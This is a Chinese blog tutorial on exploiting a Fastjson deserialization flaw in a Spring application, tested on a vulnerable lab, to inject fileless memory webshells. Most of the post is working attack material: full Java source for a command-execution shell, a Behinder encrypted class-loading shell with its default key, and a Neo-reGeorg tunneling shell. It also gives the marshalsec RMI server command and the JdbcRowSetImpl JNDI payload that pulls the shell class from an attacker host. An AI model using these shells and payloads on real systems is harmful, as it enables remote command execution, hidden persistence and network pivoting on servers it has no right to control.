Fastjson+Spring环境注入冰蝎和Neo-regeorg内存马

环境

使用这个java漏洞靶场进行测试

https://github.com/tangxiaofeng7/SecExample

漏洞代码

7omoOe.png

注入内存马

用idea编译好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class Mem {
public Mem() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
// 属性被 private 修饰,所以 setAccessible true
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = Mem.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/memshell");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
Mem injectToController = new Mem("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

private Mem(String aaa) {
}

public void test() throws IOException {
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}


进入项目下的target\classes文件夹,开启web服务

1
python2 -m SimpleHTTPServer 8888

7omwWV.png

开启rmi

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Mem" 9999

7omDQU.png

利用

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:9999/Mem",
"autoCommit":true
}
}

7omsL4.png

成功注入

7om0zT.png

注入冰蝎

原理分析

只需要在test方法里实现冰蝎jsp马的功能就可以

直接把jsp代码复制到test方法中,发现报了两个错误,缺少session对象和pageContext对象。我们可以直接从已有的request对象中获取session对象,加上一段即可HttpSession session=request.getSession();。pageContext是jsp内置对象,在spring中不存在

7omcw9.png

先了解一下冰蝎jsp马的原理:

  1. 服务端接收客户端发送的加密后的字节码数据,进行Base64+AES解码
  2. 得到对应的Payload的类后,用自定义的ClassLoader(U)加载字节码,进行newInstance实例化
  3. 调用Payload类的equals方法,并且传入pageContext作为参数(pageContext用于获取response对象以便在页面上输出执行的结果)

7om6eJ.png

查看冰蝎11客户端的源码

左边有一堆的Payload类,分别对应不同功能,是发送到服务端让目标机器执行的。先以BasicInfo这个获取基本信息的payload类为例,了解其工作流程,别的类也大同小异。

通过对jsp文件的分析,可知equals方法是所有payload类的入口,先从equals方法看起。发现调用了fillContext方法,注意这里没有限制equals方法的参数类型必须为pageContext

7omgoR.png

再查看fillContext方法,发现在没有PageContext的情况下,只需要传入一个包含session,response、request的Map<String,Object>对象就可以了,这个我们可以自己构造出来

7omryF.png

修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class MemBehinder {
public MemBehinder() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
// 属性被 private 修饰,所以 setAccessible true
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = MemBehinder.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/memshell");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
MemBehinder injectToController = new MemBehinder("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

private MemBehinder(String aaa) {
}

public void test() throws Exception {
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session=request.getSession();

//exec
try {
class U extends ClassLoader {
U(ClassLoader c)
{
super(c);
}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);
}
}

String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

Map<String,Object> obj=new HashMap<>();
obj.put("session",session);
obj.put("response",response);
obj.put("request",request);

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(obj);

}catch (Exception e){}
}
}

注入过程

进入项目下的target\classes文件夹,开启web服务

1
python2 -m SimpleHTTPServer 8888

开启rmi

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#MemBehinder" 9999

利用

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:9999/MemBehinder",
"autoCommit":true
}
}

7omRF1.png

访问页面

7om4SK.png

连接成功

7omfW6.png

7omWJx.png

注入Neo-reGeorg

原理分析

用Neo-regeorg生成jsp文件,然后把代码复制过来就行,密码用的是pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;

public class MemNeoregeorg {
private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,30,-1,-1,-1,31,24,40,13,25,52,60,46,4,10,20,-1,-1,-1,-1,-1,-1,-1,19,43,37,0,54,15,42,16,56,3,44,34,50,53,14,33,62,21,12,17,27,63,41,49,2,48,-1,-1,-1,-1,-1,-1,39,36,6,18,22,58,11,32,57,9,7,61,51,28,55,23,1,59,35,29,38,8,45,26,47,5,-1,-1,-1,-1,-1};
private static char[] en = "DqYJ7zckvj8gS2OFHTdA9Rep03xUnt+/hPLsbCua1WGBKw6yZXMm4NEoIifr5lQV".toCharArray();


public MemNeoregeorg() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
// 属性被 private 修饰,所以 setAccessible true
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = MemNeoregeorg.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/neoregeorg");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
MemNeoregeorg injectToController = new MemNeoregeorg("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

private MemNeoregeorg(String aaa) {
}

void puts(HttpServletResponse r, String str) throws Exception {
byte[] bs = str.getBytes();
ServletOutputStream so = r.getOutputStream();
so.write(bs, 0, bs.length);
so.close();
}

public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int b1, b2, b3;
while (i < len) {
b1 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("==");
break;
}
b2 = data[i++] & 0xff;
if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("=");
break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
}
return sb.toString();
}

public static byte[] b64de(String str) {
byte[] data = str.getBytes();
int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len);
int i = 0;
int b1, b2, b3, b4;
while (i < len) {
do {
b1 = de[data[i++]];
} while (i < len && b1 == -1);
if (b1 == -1) {
break;
}
do {
b2 = de[data[i++]];
} while (i < len && b2 == -1);
if (b2 == -1) {
break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));
do {
b3 = data[i++];
if (b3 == 61) {
return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1);
if (b3 == -1) {
break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));
do {
b4 = data[i++];
if (b4 == 61) {
return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1);
if (b4 == -1) {
break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
}
return buf.toByteArray();
}

public void test() throws Exception {
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
HttpSession session=request.getSession();

response.setStatus(200);
String cmd = request.getHeader("Cz");
if (cmd != null) {
String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Gs", "zWQerW2uiqArhyKyQJSKFkEYBoh546MmAGmqNe");
if (cmd.compareTo("GVwydX22KEDdLXVNICQlK7VigwqOr1") == 0) {
try {
String[] target_ary = new String(b64de(request.getHeader("Ahjncviespbziuar"))).split("\\|");
String target = target_ary[0];
int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute(mark, socketChannel);
response.setHeader("Gs", "zWQerW2uiqArhyKyQJSKFkEYBoh546MmAGmqNe");
} catch (Exception e) {
response.setHeader("Rhikuunn", "2dzkzCC6JbZpMe30VuvalwvNc702mw1QqbKbekOHbKCZmb3gM0JMD3l2");
response.setHeader("Gs", "pmRO3UjyF3OtcU5Z0Ty0epe9VKmObv0nF6fjW");
}
puts(response, "");
} else if (cmd.compareTo("E4oGJ6dPZO9wSJpJ4kY8AwXJ0UTXs072uvB") == 0) {
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
try{
socketChannel.socket().close();
} catch (Exception e) {
}
session.removeAttribute(mark);
puts(response, "");
} else if (cmd.compareTo("wqxFnQchjYWANIpP_2O5") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
try{
ByteBuffer buf = ByteBuffer.allocate(513);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
byte[] base64 = b64en(data).getBytes();
so.write(base64, 0, base64.length);
buf.clear();
bytesRead = socketChannel.read(buf);
}
so.close();
response.setHeader("Gs", "zWQerW2uiqArhyKyQJSKFkEYBoh546MmAGmqNe");

} catch (Exception e) {
response.setHeader("Gs", "pmRO3UjyF3OtcU5Z0Ty0epe9VKmObv0nF6fjW");
}

} else if (cmd.compareTo("fDVO47AZO6TXX5WT9oQJHTUFgtNTLslwRV6") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
try {

int readlen = request.getContentLength();
byte[] buff = new byte[readlen];

request.getInputStream().read(buff, 0, readlen);
byte[] base64 = b64de(new String(buff));
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.clear();
buf.put(base64);
buf.flip();

while(buf.hasRemaining())
socketChannel.write(buf);

response.setHeader("Gs", "zWQerW2uiqArhyKyQJSKFkEYBoh546MmAGmqNe");

} catch (Exception e) {
response.setHeader("Rhikuunn", "BUpCTMWYPB0W0z1xw7MBOK26I");
response.setHeader("Gs", "pmRO3UjyF3OtcU5Z0Ty0epe9VKmObv0nF6fjW");
socketChannel.socket().close();
}
puts(response, "");
}
} else {
puts(response, "<!-- OnPi3V9A0mDFCR2mjWB6R132S3A1SswOD3XTr6cqcHHSqjksLziNsPtSi5 -->");
}
}
}

注入过程

开启web服务和rmi

1
python2 -m SimpleHTTPServer 8888
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#MemNeoregeorg" 9999

利用

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:9999/MemNeoregeorg",
"autoCommit":true
}
}

7omIyD.png

注入成功

1
http://localhost:8080/neoregeorg

7om5QO.png

参考

针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用的马)

冰蝎内存webshell注入和防检测分析

利用shiro反序列化注入冰蝎内存马

Java安全02-从ClassLoader到冰蝎Java篇

记一次修改版冰蝎简单逆向

冰蝎改造之不改动客户端=>内存马

利用动态二进制加密实现新型一句话木马之Java篇

中间件内存马注入&冰蝎连接

利用Fastjson注入Spring内存马


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!